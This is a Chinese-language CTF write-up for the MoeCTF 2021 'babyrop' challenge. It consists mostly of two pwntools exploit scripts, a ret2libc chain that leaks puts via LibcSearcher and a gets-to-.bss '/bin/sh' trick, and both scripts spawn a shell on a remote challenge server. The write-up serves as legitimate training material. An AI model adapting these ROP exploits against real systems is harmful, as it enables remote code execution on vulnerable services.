0%

[MoeCTF 2021]babyrop debug002的WriteUp

2023-02-24 04:31By
debug002
PWNROPPLT改写

有两个思路 一个打ret2libc

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './babyrop'
# io = process(pwnfile)
io = remote('1.14.71.254',28745 )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x28+0x04  
puts_got = elf.got['puts']
puts_plt = elf.plt['puts'] #注意如果plt跟got表相等 那就是存在endbr保护 记得在ida中仔细查看
return_addr = elf.sym['main']


print("puts_got: "+hex(puts_got))
print("puts_plt: "+hex(puts_plt))
print("return_addr: "+hex(return_addr))


payload = flat([b'a'* padding , puts_plt , return_addr , puts_got])
delimiter = 'Can you give me some advise?\n'
io.sendlineafter(delimiter, payload)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
# puts_got_addr = u32(io.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
print('puts_addr:',hex(puts_addr))
print('libc_base:',hex(libc_base))
print('system_addr:',hex(system_addr))
print('bin_addr:',hex(bin_addr))

payload2 = b'a'* (padding)+p32(system_addr)+p32(return_addr)+p32(bin_addr)
delimiter = 'Can you give me some advise?\n'
io.sendlineafter(delimiter, payload2)
io.interactive()

另外一个是用get获取到一个/bin/sh然后再跳转到system中去

from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './babyrop'
# io = process(pwnfile)
io = remote('1.14.71.254',28745 )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

bss_addr = 0x0804A028
sys_plt = elf.sym['system']
gets_plt = elf.sym['gets']

io.recvuntil("advise?")
payload = b'a'*(0x28+4) + p32(gets_plt) + p32(sys_plt) + p32(bss_addr) +  p32(bss_addr)
io.sendline(payload)
payload = b"/bin/sh"
io.sendline(payload)

io.interactive()
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

加载中...